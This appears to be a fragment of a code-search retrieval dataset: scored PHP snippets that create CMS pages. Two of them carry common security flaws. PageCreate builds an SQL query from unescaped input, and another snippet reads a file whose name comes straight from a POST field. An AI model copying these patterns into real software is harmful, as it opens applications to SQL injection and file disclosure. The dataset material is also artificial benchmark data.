}, { "docid": "81d6b746d0b735daa6769a9f6704d427", "score": "0.70557475", "text": "public function create()\n {\n\n return view ('pages.create');\n }", "title": "" }, { "docid": "323696bbc327fedd65dfe0fd969a9eec", "score": "0.704578", "text": "public function create()\n {\n return view('page.create', ['page' => new Page]);\n }", "title": "" }, { "docid": "7c077659347e24b3c1283d1542dcd0a9", "score": "0.70362127", "text": "function create(){\n\t\t//load models\n\t\t$this->load->model('pages');\n\t\t$this->load->model('permissions');\n\t\t$this->load->model('revisions');\n\t\t$this->load->model('searchindex');\n\t\t$this->load->model('audit');\n\n\t\t//prepare record\n\t\t$recordArr = array();\n\t\t$recordArr['title'] = \"Untitled Page\";\n\t\t$recordArr['template_id'] = $this->input->post('tid');\n\t\t$recordArr['show_until'] = date('Y-m-d');\n\t\t$recordArr['created_by'] = $this->session->userdata('user_id');\n\n\t\t$error = true;\n\n\t\t//start a transaction\n\t\t$this->db->trans_begin();\n\t\t//create the page record\n\t\t$new_page_id = $this->pages->newPage($recordArr);\n\t\tif ($new_page_id){\n\t\t\t$publish_to = $this->input->post('publish_to');\n\t\t\tif ($publish_to){\n\t\t\t\t$this->pages->publishPage($new_page_id, array($publish_to));\n\t\t\t}\n\n\t\t\t//add permissions\n\t\t\t$this->load->model('groups');\n\t\t\t$group_names = array($this->session->userdata('display_name'));\n\n\t\t\tif ($this->input->post('private') === false){\n\t\t\t\t$group_config = $this->config->item('groups_config');\n\t\t\t\t$default_group_names = $group_config['group_names'];\n\t\t\t $group_names = array_merge($group_names, $default_group_names);\n\t\t\t}\n\n\t\t\t$group_id = $this->groups->get($group_names);\n\t\t\tfunction addAccess(&$a, $i, $groups){\n\t\t\t\tif (in_array($a['group_name'], $groups)){\n\t\t\t\t\t$a['access'] = PERM_READ;\n\t\t\t\t}else{\n\t\t\t\t\t$a['access'] = PERM_ALL;\n\t\t\t\t}\n\t\t\t}\n\t\t\tarray_walk($group_id, 'addAccess', $default_group_names);\n\t\t\t$groupsAdded = $this->permissions->add($new_page_id, $group_id, true);\n\n\t\t\tif ($groupsAdded){\n\t\t\t\t//add a new revision\n\t\t\t\t$rev_contents = file_get_contents(realpath(APPPATH).\"/views/\".$this->input->post('tname').\".json\");\n\t\t\t\t$error = !$this->revisions->newRevision($new_page_id, $rev_contents);\n\n\t\t\t\t//add it to the search index?\n//\t\t\t\t$this->searchindex->newEntry(array(\n//\t\t\t\t\t\"obj_id\" => $new_page_id,\n//\t\t\t\t\t\"obj_type\" => 'page',\n//\t\t\t\t\t\"page_title\" => $recordArr['title'],\n//\t\t\t\t\t\"page_content\" => $rev_contents\n//\t\t\t\t));\n\n\t\t\t\t//log the creation\n\t\t\t\t$this->audit->newEntry(array(\n\t\t\t\t\tarray(\n\t\t\t\t\t\t\"page_id\" => $new_page_id,\n\t\t\t\t\t\t\"what\" => 'created',\n\t\t\t\t\t\t\"who\" => $this->session->userdata('user_id')\n\t\t\t\t\t)\n\t\t\t\t));\n\n\t\t\t\t//subscribe the creator to the page\n\t\t\t\t$this->load->model('subscriptions');\n\t\t\t\t$this->subscriptions->add($recordArr['created_by'], $new_page_id);\n\t\t\t}\n\t\t}\n\n\t\tif (($this->db->trans_status() === FALSE) or ($error === true)){\n\t\t\t$this->db->trans_rollback();\n\t\t\tshow_error(\"There was an error creating the new page. Try again, if the error persists please call the Helpdesk at x4024.\");\n\t\t}else{\n\t\t\t$this->db->trans_commit();\n\t\t\tredirect(\"edit/\".$new_page_id);\n\t\t}\n\t}", "title": "" }, { "docid": "7779c1d507e99303e34bd756316c04b6", "score": "0.7035508", "text": "public function generate_page($url_name,$additional_info){\n\t\t$page_object = \"\";\n\t\t$page_generator = new PageHandler();\n\t\tif (array_key_exists(\"id\", $additional_info)) {\n\t\t\t$page_html = $page_generator->CreatePageWithId($additional_info['id'],$additional_info);\n\t\t}else{//check if there is no page with special url_name\n\t\t\t$page_html = $page_generator->CreatePageWithUrlName($url_name,$additional_info);\n\t\t}\n\t\treturn $page_html;\n\t}", "title": "" }, { "docid": "dcdbe701145a14732a41d6f05328bae7", "score": "0.7034272", "text": "function wf_create() {\n $this->data[$this->modelClass]['draft'] = 1;\n $this->data[$this->modelClass]['content'] = '';\n $this->WildPage->create($this->data);\n $this->WildPage->save();\n $this->redirect(array('action' => 'edit', $this->WildPage->id));\n }", "title": "" }, { "docid": "82bcd86e832e353a53227ab4c5602ac6", "score": "0.703271", "text": "public function create()\n {\n //\n return 'Article Create Page';\n }", "title": "" }, { "docid": "c7d4f9698602c354bc758af03c038453", "score": "0.70296675", "text": "public function create()\n {\n return view('helium::page.create', [\n 'page' => new Page()\n ]);\n }", "title": "" }, { "docid": "e0ffd0bbfe9e094f3290b9a83a85fd72", "score": "0.70206714", "text": "public function create()\n {\n //\n return view('admin.pages.create');\n }", "title": "" }, { "docid": "c972194df96978c9a6d7896f1db0267d", "score": "0.70044875", "text": "public function create()\n {\n $tabs = Tab::get('cms.page');\n\n return view('avored::cms.page.create')\n ->with('tabs', $tabs);\n }", "title": "" }, { "docid": "aa20f9dd2b60518b88f49b7349749f3a", "score": "0.69994915", "text": "public function createAction() : object\n {\n $page = $this->di->get(\"page\");\n $form = new CreateForm($this->di);\n $form->check();\n\n $page->add(\"user/crud/create\", [\n \"form\" => $form->getHTML(),\n ]);\n\n return $page->render([\n \"title\" => \"Create a item\",\n ]);\n }", "title": "" }, { "docid": "47be19ee0f2a85b234c8cd2c07f7fb07", "score": "0.6998477", "text": "public function create()\n {\n $data = $this->dispatch(new PageFormFields($id = null));\n\n return view('admin.page.create', $data);\n }", "title": "" }, { "docid": "3ad1370fd6fcf4b9368aa6a131c91440", "score": "0.69981587", "text": "public function create()\n {\n return view('admin.gun.page.create');\n }", "title": "" }, { "docid": "884651f019a89b602f5af66f99c41cbf", "score": "0.6993318", "text": "public function create()\n {\n return view('admin.page.create');\n }", "title": "" }, { "docid": "884651f019a89b602f5af66f99c41cbf", "score": "0.6993318", "text": "public function create()\n {\n return view('admin.page.create');\n }", "title": "" }, { "docid": "00bf50cabe2d25558ec9cf114a048f86", "score": "0.6986443", "text": "function createPages()\n {\n $pages = array('404', 'Sok');\n\n foreach ($pages as $newPage) {\n\n $page_exists = get_page_by_title($newPage);\n if (!isset($page_exists->ID)) {\n $page = array(\n 'post_author' => 1,\n 'post_content' => '',\n 'post_name' => $newPage,\n 'post_status' => 'public',\n 'post_title' => $newPage,\n 'post_type' => 'page',\n 'post_parent' => 0,\n 'menu_order' => 0,\n 'to_ping' => '',\n 'pinged' => '',\n );\n\n $insert = wp_insert_post($page);\n\n // The insert was successful\n if ($insert) {\n // Store the value of our 404/Search page\n update_option($newPage . 'pageid', (int)$insert);\n }\n }\n }\n }", "title": "" }, { "docid": "07406dd1657ff34803a95fc11ca31e99", "score": "0.6980133", "text": "public function create_menu_page(){\n $this->create_wrap_before();\n\n $this->create_wrap_after();\n }", "title": "" }, { "docid": "b644887c98c6a55414e1beb635e08b88", "score": "0.6973471", "text": "function create_page($title, $body, $encoding = 'UTF-8') {\n $title = htmlentities($title, ENT_NOQUOTES, $encoding);\n\n $content = array(\n 'title' => $title,\n 'description' => $body\n );\n\n $mensaje = new \\xmlrpcmsg('wp.newPage');\n $mensaje->addParam(new \\xmlrpcval(0, 'int'));\n $mensaje->addParam(new \\xmlrpcval($this->UserName));\n $mensaje->addParam(new \\xmlrpcval($this->PassWord));\n $mensaje->addParam(php_xmlrpc_encode($content));\n $mensaje->addParam(new \\xmlrpcval(true));\n\n $resp = $this->client->send($mensaje);\n\n if ($resp->faultCode()) {\n return 'KO. Error create page: ' . $resp->faultCode() . ' - ' . $resp->faultString();\n }\n return $resp->value;\n }", "title": "" }, { "docid": "ed8f789d90ad3210df6334ee659cea42", "score": "0.6973008", "text": "public function create()\n {\n return view('page.create');\n }", "title": "" }, { "docid": "6541d18f5c94c1171f2828cad405d7a6", "score": "0.69689065", "text": "public function create()\n {\n abort_unless(get_admin()->hasRole('super-' . config('administrable.guard')), 401);\n\n $form = $this->getForm(Module::getModel('page'), Module::backForm('page'));\n\n return back_view('pages.create', compact('form'));\n }", "title": "" }, { "docid": "0be394c81e628052b6c76981a6fbd18e", "score": "0.6968773", "text": "public function create()\n {\n return view('Admin::pages.pages.create');\n }", "title": "" }, { "docid": "ebd848f4677932b874d46ccb889dcb36", "score": "0.69583166", "text": "public function create() \n {\n $thread = new Thread;\n $comment = new Comment;\n $page = Param::get('page_next','create');\n\n switch($page) {\n case 'create':\n break;\n case 'create_end':\n $thread->title = Param::get('title');\n $comment->body = Param::get('body');\n try {\n $thread->create($comment);\n } catch(ValidationException $e) {\n $page = 'create';\n }\n break;\n }\n \n $this->set(get_defined_vars());\n $this->render($page);\n }", "title": "" }, { "docid": "8d2ce1be197d2d50c7587f91f24d0563", "score": "0.6957098", "text": "function setupNewPage();", "title": "" }, { "docid": "6e791e8e2dd375743646759fe2b1dec3", "score": "0.6943669", "text": "public function actionCreatePageItem()\n {\n $this->menuFlush();\n $model = new Nav();\n $create = $model->createPageItem($this->postArg('nav_id'), $this->postArg('lang_id'), $this->postArg('title'), $this->postArg('alias'), $this->postArg('layout_id'), $this->postArg('description'));\n if (is_array($create)) {\n Yii::$app->response->statusCode = 422;\n }\n\n return $create;\n }", "title": "" }, { "docid": "5d6245c7fdf648dea52efe13c5cb8f65", "score": "0.6923263", "text": "public function create()\n {\n return view('admin.page._create');\n }", "title": "" }, { "docid": "4448a7db7b8524b3e55be49710cb1488", "score": "0.6919309", "text": "public function getCreate()\n\t{\n\t\treturn \"regester page\";\n\t}", "title": "" }, { "docid": "89d98d4f58cd198aa9086ec1896f6bd6", "score": "0.6914017", "text": "public function create()\n {\n return view('admin.page.create', []);\n }", "title": "" }, { "docid": "02d9e261dac9292ae36f276410013bf1", "score": "0.6911737", "text": "function PageCreate($dbConn, $PageId, $PageTitle) {\n $return = null;\n $query = \"INSERT into websitetemplates (PageTitle,PageHeader,PageTextContent,ParentPage,SortOrder,IsEnabled) values (\\\"$PageTitle\\\", \\\"\\\", \\\"\\\", $PageId, 0, 1)\";\n $return = @mysqli_query($dbConn, $query);\n return $return;\n}", "title": "" }, { "docid": "065276cc79c24b90cee106e3d180c361", "score": "0.6908169", "text": "public function create()\n {\n return view('sitetronic-page::pages.create');\n }", "title": "" }, { "docid": "514f3c80527b32ac1e78ba5406ede246", "score": "0.6881096", "text": "public function create() {\n\n //page settings\n $page = $this->pageSettings('create');\n\n //reponse payload\n $payload = [\n 'page' => $page,\n ];\n\n //show the form\n return new CreateResponse($payload);\n }", "title": "" }, { "docid": "8775d5c0a1204e66ab67732f3a504261", "score": "0.6873508", "text": "public function create()\n {\n return view('backend.admin.page.create');\n }", "title": "" }, { "docid": "79ec65f592450888637c6d6a1cab6683", "score": "0.68599415", "text": "public function create()\n {\n return view('admin.pageCreate');\n }", "title": "" }, { "docid": "e2e3cb7d8cafb13d9f93adb19f3ec107", "score": "0.6856259", "text": "public function create() \n {\n $thread = new Thread;\n $comment = new Comment; \n $page = Param::get('page_next','create');\n \n switch($page) {\n case 'create':\n break;\n \n case 'create_end':\n try {\n $thread->id = Param::get('thread_id');\n $thread->user_id = User::getId($_SESSION['username']);\n $thread->title = Param::get('title');\n $comment->username = Param::get('username');\n $comment->body = Param::get('body');\n $thread->create($comment);\n } catch (ValidationException $e) {\n $page = 'create';\n }\n break;\n default:\n throw new PageNotFoundException(\"{$page} is not found\");\n break;\n }\n $this->set(get_defined_vars());\n $this->render($page);\n }", "title": "" }, { "docid": "9490ad746ffba6360d63f85285d818c5", "score": "0.685292", "text": "protected function _addExperienceCreatePage() {\n\t\t$db = $this -> getDb();\n\t\t// profile page\n\t\t$page_id = $db -> select() -> from('engine4_core_pages', 'page_id') -> where('name = ?', 'experience_index_create') -> limit(1) -> query() -> fetchColumn();\n\n\t\t// insert if it doesn't exist yet\n\t\tif (!$page_id) {\n\t\t\t// Insert page\n\t\t\t$db -> insert('engine4_core_pages', array('name' => 'experience_index_create', 'displayname' => 'Experience - Create Page', 'title' => 'Experience Create Page', 'description' => 'This page allows user to create a new experience.', 'provides' => 'subject=experience', ));\n\t\t\t$page_id = $db -> lastInsertId();\n\n\t\t\t//Insert top container\n\t\t\t$db -> insert('engine4_core_content', array('page_id' => $page_id, 'type' => 'container', 'name' => 'top', 'parent_content_id' => null, 'order' => 1, 'params' => '', ));\n\t\t\t$top_id = $db -> lastInsertId();\n\n\t\t\t// Insert main container\n\t\t\t$db -> insert('engine4_core_content', array('page_id' => $page_id, 'type' => 'container', 'name' => 'main', 'parent_content_id' => null, 'order' => 2, 'params' => '', ));\n\t\t\t$main_id = $db -> lastInsertId();\n\n\t\t\t// Top menu widget\n\t\t\t$db -> insert('engine4_core_content', array('type' => 'container', 'name' => 'middle', 'page_id' => $page_id, 'parent_content_id' => $top_id, 'order' => 1, 'params' => '', ));\n\t\t\t$top_middle_id = $db -> lastInsertId();\n\n\t\t\t$db -> insert('engine4_core_content', array('type' => 'widget', 'name' => 'experience.experiences-menu', 'page_id' => $page_id, 'parent_content_id' => $top_middle_id, 'order' => 1, ));\n\n\t\t\t// Content widget\n\t\t\t$db -> insert('engine4_core_content', array('type' => 'container', 'name' => 'middle', 'page_id' => $page_id, 'parent_content_id' => $main_id, 'order' => 1, 'params' => '', ));\n\t\t\t$content_middle_id = $db -> lastInsertId();\n\n\t\t\t$db -> insert('engine4_core_content', array('type' => 'widget', 'name' => 'core.content', 'page_id' => $page_id, 'parent_content_id' => $content_middle_id, 'order' => 1, ));\n\n\t\t}\n\t}", "title": "" }, { "docid": "261325ba2aa852e552f0b17925cb1d11", "score": "0.68526304", "text": "public function actionCreate()\n {\n $model = new Page;\n // Uncomment the following line if AJAX validation is needed\n $this->performAjaxValidation($model);\n\n if (isset($_POST['Page'])) {\n $model->attributes = $_POST['Page'];\n if ($model->save()) {\n Yii::app()->user->setFlash('success', Yii::t('page', 'Страница добавлена!'));\n if (isset($_POST['saveAndClose'])) {\n $this->redirect(array('admin'));\n }\n $this->redirect(array('update', 'id' => $model->id));\n }\n }\n $criteria = new CDbCriteria;\n $criteria->select = new CDbExpression('MAX(sort_order) as sort_order');\n $max = $model->find($criteria);\n $model->sort_order = $max->sort_order + 1;\n\n $this->render('create', array('model' => $model));\n }", "title": "" }, { "docid": "7cc3f3abf638e936f65798111a1933a2", "score": "0.68509966", "text": "public function create()\n\t{\n return view('pages.create');\n\t}", "title": "" }, { "docid": "0009c9c1ccc89578158fcbfe1012f181", "score": "0.68465227", "text": "public function create()\n {\n //handle by javascript, not needed.\n }", "title": "" }, { "docid": "1599865a2cad9e8a778be7ee86b9532f", "score": "0.6843159", "text": "function pagecreate()\r\n {\r\n $output = parent::pagecreate();\r\n $output .= bindEvents(\"jQuery('#$this->_name')\", $this, 'click');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'tap');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'taphold');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'swipe');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'swipeleft');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'swiperight');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vmouseover');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vmousedown');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vmousemove');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vmouseup');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vclick');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vmousecancel');\r\n return $output;\r\n }", "title": "" }, { "docid": "c8852064d4f58687bf4eff5d25b40d44", "score": "0.68419087", "text": "public function create()\n {\n return view('back-end.page.create');\n }", "title": "" }, { "docid": "1a26c9b7279394c29bbd59079bd84899", "score": "0.68375444", "text": "private function createPage( $page )\n {\n\n if( $this->factory->classExists( $page ) == false )\n {\n\n return;\n }\n\n $this->processClass( $this->factory->createClass( $page ) );\n }", "title": "" }, { "docid": "319e682a2f444b0c67a30532d1f358e7", "score": "0.6828248", "text": "public function create()\r\n {\r\n if (!Auth()->user()->can('page.create')) {\r\n abort(401);\r\n }\r\n // Page Create\r\n return view('admin.pages.create');\r\n }", "title": "" }, { "docid": "02a186930c2adbb3216bf56f976139b7", "score": "0.6823321", "text": "public function create()\n\t{\n\t\treturn view( $this->main_folder . '.master' )\n\t\t\t->with( 'PageResponse', $this->PageResponse );\n\t}", "title": "" }, { "docid": "0b3e05309de7d7ec34b989bd7b6f9889", "score": "0.6821902", "text": "public function create()\n {\n return view('pages::create');\n }", "title": "" }, { "docid": "fd7d9065ff5dcdb1889061b2eff20133", "score": "0.68211263", "text": "public function add_page() {\n\t\t$this->to_tpl['success'] = false;\n\t\t$this->to_tpl['id'] = 0;\n\t\t$this->to_tpl['title'] = \"\";\n\t\t$this->to_tpl['errors'] = false;\n\t\t$this->template = \"admin/add-page\";\n\n\t\tif (isset($_POST['submit'])) {\n\t\t\t$errors = $this->check_input();\n\t\t\tif (is_array($errors) && !empty($errors)) {\n\t\t\t\t$this->to_tpl['errors'] = $errors;\n\t\t\t} else {\n\t\t\t\t$page = new Page();\n\t\t\t\t$page->title_sr = post_string('title_sr');\n\t\t\t\t$page->body_sr = post_string('body_sr');\n\t\t\t\t$page->title_en = post_string('title_en');\n\t\t\t\t$page->body_en = post_string('body_en');\n\t\t\t\t$page->permalink_sr = $page->check_permalink(generate_permalink($page->title_sr), \"sr\");\n\t\t\t\t$page->permalink_en = $page->check_permalink(generate_permalink($page->title_en), \"en\");\n\t\t\t\t$page->date_created = new \\DateTime(\"now\");\n\t\t\t\t$page->published = post_bool('published');\n\t\t\t\tif ($id = $page->saveToDb()) {\n\t\t\t\t\t$this->to_tpl['success'] = true;\n\t\t\t\t\t$this->to_tpl['id'] = $id;\n\t\t\t\t\t$this->to_tpl['title'] = $page->title_sr;\n\t\t\t\t\t$_POST = array();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn;\n\t}", "title": "" }, { "docid": "5870072d3f65cb31125951f02fed6620", "score": "0.68143374", "text": "function add_page($new_page_title, $new_page_template) {\n $new_page_content = '';\n $page_check = get_page_by_title($new_page_title);\n $new_page = array(\n 'post_type' => 'page',\n 'post_title' => $new_page_title,\n 'post_content' => $new_page_content,\n 'post_status' => 'publish',\n 'post_author' => 1,\n );\n if (!isset($page_check->ID)) {\n $new_page_id = wp_insert_post($new_page);\n if (!empty($new_page_template)) {\n update_post_meta($new_page_id, '_wp_page_template', $new_page_template);\n }\n }\n}", "title": "" }, { "docid": "ca4a8ddb40ff666c39e3fe5f1af1d35f", "score": "0.681126", "text": "function create()\n{\n global $app;\n\n // Action being set determines if we are showing the page for the first\n // time or if we are going to give them a blank page to look at.\n if (isset($_REQUEST['Action'])) {\n // If we made it here, there is an action that has been set that we\n // need to look at. In other words, the user hit a button on the\n // form.\n $this->getFormVars();\n\n switch($_REQUEST['Action']) {\n case \"create\":\n // We came from the edit form. Do something with what the \n // user gave us.\n $this->processEdit();\n break;\n\n default:\n $this->showEditForm(\"create\");\n break;\n }\n } else {\n // No action set, just show them the form.\n $this->showEditForm(\"create\");\n }\n}", "title": "" }, { "docid": "40386f421ed051af6b642406dcd98f71", "score": "0.68098676", "text": "public function create(Request $request) \n {\n $tmpData = [\n 'PageNum' => 0,\n 'NumShown' => 12,\n 'PagingFor' => 'pagesPanel',\n 'Dir' => 'asc',\n 'WithTrashed' => Functions::isAdminPath($request->path()),\n 'BaseUrl' => Functions::isAdminPath($request->path()) ? 'admin' : '',\n 'ViewNum' => 0,\n 'UseBaseMaker' => $request->ajax(),\n 'Default' => [],\n 'UseTitle' => true,\n 'FullUrl' => !$request->ajax(),\n 'ListUrl' => $request->path(),\n 'UseGetSelf' => false,\n 'Transform' => Page::TO_TABLE_ARRAY_TRANSFORM\n ];\n $content = [\n 'hasName' => 'true',\n 'hasTitle' => 'true',\n 'hasUrl' => 'true',\n 'hasDescription' => 'true',\n 'hasArticle' => 'true',\n 'hasImage' => 'true',\n 'hasSticker' => 'true',\n 'hasParent' => 'true',\n 'parentName' => 'Menu',\n 'parentId' => 'menu',\n 'parentList' => PageGroup::getNameListing(\n $tmpData['WithTrashed'], $tmpData['Dir'],\n $tmpData['UseBaseMaker']\n ),\n 'thisURL' => Page::genUrlFragment($tmpData['BaseUrl'], $tmpData['FullUrl']),\n 'hasOrder' => 'true',\n ];\n $bcLinks = [];\n $bcLinks[] = self::getHomeBreadcumb();\n if (Functions::isAdminPath($request->path())) {\n $bcLinks[] = CmsController::getAdminBreadcrumb();\n }\n $breadcrumbs = Page::getBreadcrumbs(\n Page::genBreadcrumb(\n 'Content Page Creation Form', \n Page::genUrlFragment($tmpData['BaseUrl'], $tmpData['FullUrl'])\n ),\n $bcLinks\n );\n return self::getView(\n $request, 'cms.forms.new.page', 'Create a New Content Page',\n $content, false, $breadcrumbs, null, \n Functions::isAdminPath($request->path()) ? CmsController::getAdminSidebar()\n : null\n );\n }", "title": "" }, { "docid": "fdde09904403305dff5a869cbf874fa3", "score": "0.68036675", "text": "public function add_page()\n\t{\n\t\t$title = trim($this->EE->input->get('title'));\n\t\t$survey_id = (int)$this->EE->input->get('survey_id');\n\n\t\t// Only add a page if we have a title and a survey ID\n\t\tif ($title AND $survey_id)\n\t\t{\n\t\t\t// Insert a new page\n\t\t\tif ( $this->EE->vwm_surveys_m->insert_page($survey_id, $title) !== FALSE )\n\t\t\t{\n\t\t\t\t/**\n\t\t\t\t * Return HTML containing survey edit page\n\t\t\t\t * We will then use jQuery to parse this HTML and pull out the latest page\n\t\t\t\t */\n\t\t\t\tdie( $this->edit_survey() );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "b1d3065445ca0f177f6829f191d3de83", "score": "0.68021506", "text": "function pagecreate()\r\n {\r\n $output = \"\";\r\n\r\n $output .= bindJSEvent(\"jQuery('#$this->_name').next('.ui-input-clear')\", $this, 'cleartextclick');\r\n $output .= bindEvents(\"jQuery('#$this->_name')\", $this, 'click');\r\n $output .= bindEvents(\"jQuery('#$this->_name')\", $this, 'dblclick');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'tap');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'taphold');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'swipe');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'swipeleft');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'swiperight');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vmouseover');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vmousedown');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vmousemove');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vmouseup');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vclick');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vmousecancel');\r\n\r\n return $output;\r\n }", "title": "" }, { "docid": "570ea0af653dd0f9c9a757102a9afd27", "score": "0.68006897", "text": "function SetupPage(){\n\n\t\t// get pagetype\n\t\tif($this->Page->PageTypeId!=-1){\n\t\t\t$this->PageType = PageType::GetByPageTypeId($this->Page->PageTypeId);\n\t\t\t$this->PageTypeUniqId = $this->PageType->PageTypeUniqId;\n\t\t\t$this->TypeS = $this->PageType->TypeS;\n\t\t}\n\t\t\n\t\t$this->PageId = $this->Page->PageId;\n\t\t$this->PageUniqId = $this->Page->PageUniqId;\n\t\t$this->FriendlyId = $this->Page->FriendlyId;\n\t\t$this->Name = $this->Page->Name;\n\t\t$this->Description = $this->Page->Description;\n\t\t$this->Rss = $this->Page->Rss;\n\t\t$this->Layout = $this->Page->Layout;\n\t\t$this->Stylesheet = $this->Page->Stylesheet;\n\t\t$this->Keywords = $this->Page->Keywords;\n\n\t\t// get the page fragment\n\t\t$p_content = '';\n\t\t$fragment = 'sites/'.$this->Site->FriendlyId.'/fragments/publish/'.$this->Page->PageUniqId.'.html';\n\n if(file_exists($fragment)){\n $p_content = file_get_contents($fragment);\n }\n\n\t\t$this->Content = $p_content;\n\t\t\n\t\t$this->IsActive = $this->Page->IsActive;\n\t\t\t\t\n\t\t// get offset\n\t\t$timeZone = $this->AuthUser->TimeZone;\n\t\t$offset = 0;\n\t\t\n\t\tif($timeZone=='EST'){\n\t\t\t$offset = -5 * (60 * 60);\n\t\t}\n\t\telse if($timeZone=='CST'){\n\t\t\t$offset = -6 * (60 * 60);\n\t\t}\n\t\telse if($timeZone=='MST'){\n\t\t\t$offset = -7 * (60 * 60);\n\t\t}\n\t\telse if($timeZone=='PST'){\n\t\t\t$offset = -8 * (60 * 60);\n\t\t}\n\t\t\n\t\tif($this->Page->PageTypeId!=-1){ // get pagetypes\n\t\t\t$this->PageType = PageType::GetByPageTypeId($this->Page->PageTypeId);\n\t\t}\n\t\t\n\t\t$this->PageTypes = PageType::GetPageTypes($this->AuthUser->SiteId);\n\t}", "title": "" }, { "docid": "0672d9b6be2f3d3e46c440d1d69e7768", "score": "0.680057", "text": "public function actionCreate()\r\n\t{\r\n\t\t$model=new Page;\r\n\r\n\t\t// Uncomment the following line if AJAX validation is needed\r\n\t\t// $this->performAjaxValidation($model);\r\n\r\n\t\tif(isset($_POST['Page']))\r\n\t\t{\r\n\t\t\t$model->attributes=$_POST['Page'];\r\n\t\t\t// $model->city_id = $this->city->id;\r\n\t\t\tif($model->save())\r\n\t\t\t\t$this->redirect(array('view','id'=>$model->id));\r\n\t\t}\r\n\r\n\t\tYii::app()->getClientScript()->registerScriptFile('/tiny_mce/tiny_mce.js');\r\n\t\tYii::app()->getClientScript()->registerScriptFile('/tiny_mce/init.js');\r\n\r\n\t\t$this->render('create',array(\r\n\t\t\t'model'=>$model,\r\n\t\t));\r\n\t}", "title": "" }, { "docid": "1a693507aa9dcc0f760d1c6cab75155b", "score": "0.67945457", "text": "public function create()\n\t{\n\t\treturn View::make('admin.pages.create');\n\t}", "title": "" }, { "docid": "390e0dd5471f2e0590be04916c58ec17", "score": "0.67922235", "text": "private function createCmsPage()\n {\n /** @var PageInterface $cmsPage */\n $cmsPage = $this->pageInterfaceFactory->create();\n $cmsPage->setIdentifier('page-identifier')\n ->setTitle('Page Title')\n ->setContentHeading('Content Heading')\n ->setContent('Page HTML content')\n ->setPageLayout('1column')\n ->setData('stores', [0]);\n\n $this->pageRepository->save($cmsPage);\n }", "title": "" }, { "docid": "d2f68b0acc8c29b9e3ecc9e5dd613ea0", "score": "0.67910475", "text": "public function pageCreate() {\n //Load Component\n $this->layout['adminContent'] = view('admin.partials.pages.form');\n\n //return view\n return view('admin.master', $this->layout);\n }", "title": "" }, { "docid": "9ee71cabc9830afcefcb42542ebe78f6", "score": "0.6788817", "text": "public function create()\n\t{\n\t\treturn $this->layout->nest('content','admin.pages.form',array(\n\t\t\t'parentPagesOptions' => $this->getParentPagesOptions()\n\t\t));\n\t}", "title": "" }, { "docid": "f97936f07994a55676a99db80c13d205", "score": "0.67843074", "text": "static function create_page( $page, $title ) {\n if ( get_page_by_title( $page ) == NULL ) {\n $createPage = [\n 'post_title' => $title,\n 'post_content' => \"[$page]\", // Shortcode dedicated to that page\n 'post_status' => 'publish',\n 'post_author' => 1,\n 'post_type' => 'page',\n 'post_name' => $page\n ];\n wp_insert_post( $createPage );\n }\n }", "title": "" }, { "docid": "753705d76338f240177fbddf25d11ead", "score": "0.6777047", "text": "function pagecreate()\r\n {\r\n $output = parent::pagecreate();\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'expand');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'collapse');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'click');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'dblclick');\r\n return $output;\r\n }", "title": "" }, { "docid": "31b55675597ab2fc91bf704ac37db9cf", "score": "0.67732936", "text": "public function create()\n\t{\n\t\treturn View::make('pages.create');\n\t}", "title": "" }, { "docid": "88386cf061720896fb96602dc88f7286", "score": "0.6752447", "text": "public function createPages()\n {\n foreach($this->xml->page as $page) {\n $this->pages[] = new Page($page->xpath('text'));\n }\n }", "title": "" }, { "docid": "65d08d9ef828a9cfeee79e15bba4cdfc", "score": "0.6751114", "text": "function add_page()\n\t{\n\t\t$title=get_page_title('CEDI_ADD_PAGE');\n\n\t\tcheck_submit_permission('cat_low');\n\n\t\t$_title=get_param('id','',true);\n\n\t\t$add_url=build_url(array('page'=>'_SELF','type'=>'_add_page','redirect'=>get_param('redirect',NULL)),'_SELF');\n\n\t\tlist($fields,$fields2,$hidden)=$this->get_page_fields($_title);\n\n\t\t// Awards?\n\t\tif (addon_installed('awards'))\n\t\t{\n\t\t\trequire_code('awards');\n\t\t\t$fields2->attach(get_award_fields('seedy_page'));\n\t\t}\n\n\t\t$posting_form=get_posting_form(do_lang('CEDI_ADD_PAGE'),'',$add_url,$hidden,$fields,NULL,'',$fields2);\n\n\t\treturn do_template('POSTING_SCREEN',array('_GUID'=>'ea72f10d85ed06b618866f21da515180','POSTING_FORM'=>$posting_form,'HIDDEN'=>'','TITLE'=>$title,'TEXT'=>paragraph(do_lang_tempcode('CEDI_EDIT_PAGE_TEXT'))));\n\t}", "title": "" }, { "docid": "85c351a8e0f31a307598145b27695807", "score": "0.6748946", "text": "function pagecreate()\r\n {\r\n $output = \"\";\r\n $output .= 